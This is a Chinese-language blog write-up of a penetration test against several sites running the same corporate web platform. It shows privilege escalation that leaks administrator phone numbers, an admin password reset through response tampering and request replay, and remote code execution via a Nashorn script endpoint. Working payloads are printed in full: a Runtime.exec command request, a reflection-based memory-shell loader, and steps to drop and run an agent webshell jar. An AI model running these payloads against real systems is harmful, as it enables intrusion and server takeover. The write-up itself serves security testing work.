前后端分离站点渗透测试

前言

最近在参与一个远程检查工作,因此记录下对某集团的渗透测试思路。

渗透测试

信息搜集

发现某集团有这样一个系统具备注册功能,因此直接就开始注册账号。

image

这里借助接码平台进行账号注册。

http://h5.yezi66.net:90/invite/1122313

image

注册成功后,进入系统。

image

此时没有任何可用的、有价值的功能点。

继续信息搜集,发现该站点的账号可以在该集团的另外一处系统进行登录,只是没有权限。

且通过前端ui样式和后端接口服务判断,两个服务器上的系统为同一套系统。

image

通过对第一个请求接口logon的分析发现,在账号密码正确时就已经返回了用户token

image

第二个请求接口verify会判断凭证是否有效进入系统内。

此处判断依据为删除verify接口在请求时携带payload,发现无影响,因此该接口判断用户是否有权限进入系统不是通过userId或者phone之类的字段去判别,而是通过请求头里的token去判别。

image

第三个请求接口logoff从接口命名来看是用来退出登录了,可能这个接口会导致logon获取的token失效。

漏洞挖掘

垂直越权获取管理员数据

在对js分析时,发现存在一个xxxx-managexxx的前端路由
可以访问。

访问方式为http://x.x.x.x/#/xxx-managexxx、该路径点会回显几个用户手机号。

其对应的后端接口为http://x.x.x.x/api/xxx/xxx/listAdministrators

image

此时获取到了几个管理员的手机号

任意用户密码重置

在对js分析时,发现了/xxx/xxx/resetPassword后端接口

但是不太清楚该接口需要传哪些参数,因此就对忘记密码功能进行测试,可能大概率两个接口的所需要的传参是差不多的。

image

输入上面管理员的手机号、验证码随便输入,再点击下一步

image

此时提示验证码已过期,直接修改errorCode的值为200

此过程的接口数据都放行、因此也就进入了步骤2

image

输入新密码为,在点击下一步,并抓包,将忘记密码重置密码功能点抓包的接口,改成上面发现的/xxx/xxx/resetPassword

image

提示验证码错误

再多发几次数据包?

image

诶…、回显200,好像重置成功。

所以这个重置密码接口很奇怪

就是你第一次发包重置密码,它会提示验证码错误。第二次发包也会提示验证码错误。

但是你多发几次数据包,它就好像重置成功了。

不明所以、能进后台就行。

image

SQL注入漏洞

继续测试,发现了一处数据源配置点,猜测可能有位置能够执行SQL语句。

image

任意代码执行漏洞

发现后台有个脚本库的功能点,该点好像是能去调试代码的。最开始看到脚本库的模板、还以为是nodejs的代码执行漏洞。

1
2
3
const fetch = require("fetch")

其他代码块

试了半天、提示脚本编译失败。

然后尝试去执行java的代码,然后也是提示脚本编译失败。

image

并且服务端响应的报错里面包含java的堆栈信息,堆栈信息里面
NashornScriptEngine、因此确定是js引擎的代码执行漏洞。

image

但是直接执行java代码,又会提示编译脚本错误。

因此最终在这个集团找了好几个相同系统的网站进到后台去测试该功能点,发现得按照这个模板来,才能够实现任意java代码执行漏洞。

1
2
3
4
5
6
7
8
9
10
function get() {
//任意java代码

return "返回你想要的数据";

}
App.test=function(){
return get()
}
module.exports = App;

然后再通过接口去调用这个test函数,才有可能能去执行函数里的任意java代码。

最开始不管怎么执行都不成功,后面才发现,执行成功还要看参数3的值是否有效。

数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /xxx/xxx/xxx/script HTTP/2
Host: x.x.x.x
Cookie: token=xxxx
Content-Type: application/json
Content-Length: 453


{
"参数1": "xxx",
"参数2": "yyy",
"参数3": "zzz",
"script": "function getToken() {\r\n var cmd = \"id\";\r\n var result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd).getInputStream(), \"GBK\").useDelimiter(\"\\\\A\").next();\r\n return result; \r\n \r\n}\r\n\r\n\r\nApp.test=function(){\r\n return getToken()\r\n}\r\n\r\nmodule.exports = App;",
"args": {
"envArgs": {},
"functionArgs": {
"test": [{}]
}
}
}

执行id命令

image

尝试去注入内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var classLoader = java.lang.Thread.currentThread()
.getContextClassLoader();
try {
classLoader.loadClass('org.springframework.c.SignatureUtils')
.newInstance();
} catch (e) {
var clsString = classLoader.loadClass('java.lang.String');
var bytecodeBase64 = '字节码的base64';
var bytecode;
try {
var clsBase64 = classLoader.loadClass('java.util.Base64');
var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');
var decoder = clsBase64.getMethod('getDecoder')
.invoke(base64Clz);
bytecode = clsDecoder.getMethod('decode', clsString)
.invoke(decoder, bytecodeBase64);
} catch (ee) {
try {
var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');
bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString)
.invoke(datatypeConverterClz, bytecodeBase64);
} catch (eee) {
var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');
bytecode = clazz1.newInstance()
.decodeBuffer(bytecodeBase64);
}
}
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
var clsByteArray = (new java.lang.String('a')
.getBytes()
.getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
}

执行后会提示Java reflection not supported when class filter is present

好像是不让反射的。

image

最后就尝试落地jar,直接注入agent马。

这里用的是https://github.com/veo/vagent

先将jar转成base64字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class main {
public static void main(String[] args) throws IOException {
String path = "agent.jar";
writeToFile(encodeFileToBase64(path),"12311.txt");
}

// 将文件转换为Base64字符串
private static String encodeFileToBase64(String filePath) throws IOException {
File file = new File(filePath);
FileInputStream fis = new FileInputStream(file);
byte[] fileContent = new byte[(int) file.length()];
fis.read(fileContent);
fis.close();
return java.util.Base64.getEncoder().encodeToString(fileContent);
}
// 将字符串写入文件
private static void writeToFile(String aa, String filePath) throws IOException {
FileOutputStream fos = new FileOutputStream(filePath);
fos.write(aa.getBytes());
fos.close();
}
}

再利用代码执行漏洞,将base64字符串转成字节数组输出到服务器上的jar文件里面去。

1
new java.io.FileOutputStream("1.jar").write(java.util.Base64.getDecoder().decode("base64字符串"));

赋给jar执行权限

1
chmod 777 1.jar

然后运行jar

1
java -jar 1.jar

image

此时发现agent是注入进去了。

然后尝试访问shell,发现路由是加进去了,但是命令却始终执行不成功。

image

注:响应200、且通过其他站点判断,未注入agent之前,访问/faviconc404,注入后访问是200

总结

实际上在测试的时候,没有这么风调雨顺。

最开始在A站点注册后,进入系统,是要我们去申请一个组织的,但是你的账号是没权限申请的。

到了B站点后,发现是没有注册功能的,想进入后台,就利用了A站点的注册接口去B站点发包,然后进入后台,且在B站点发现了管理员的手机号,通过重置密码的漏洞,进入后台,发现SQL注入以及代码执行漏洞。

回到A站点,以及后面发现的C、D、E、F等等站点,在通过注册接口获取用户凭证后、利用越权漏洞获取管理员手机号,再重置管理员的密码进入系统后台,发现这些系统前端是不具有执行SQL,执行java代码的前端路由的。因此就直接利用了B站点执行SQL和java代码的后端接口去实现漏洞利用的。

这几个站点是互相成就了,才导致了彼此都被RCE了。

所以在实际渗透测试里,要做更多的信息搜集和资产搜集。

Author: jdr
Link: https://jdr2021.github.io/2024/04/26/前后端分离站点渗透测试/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.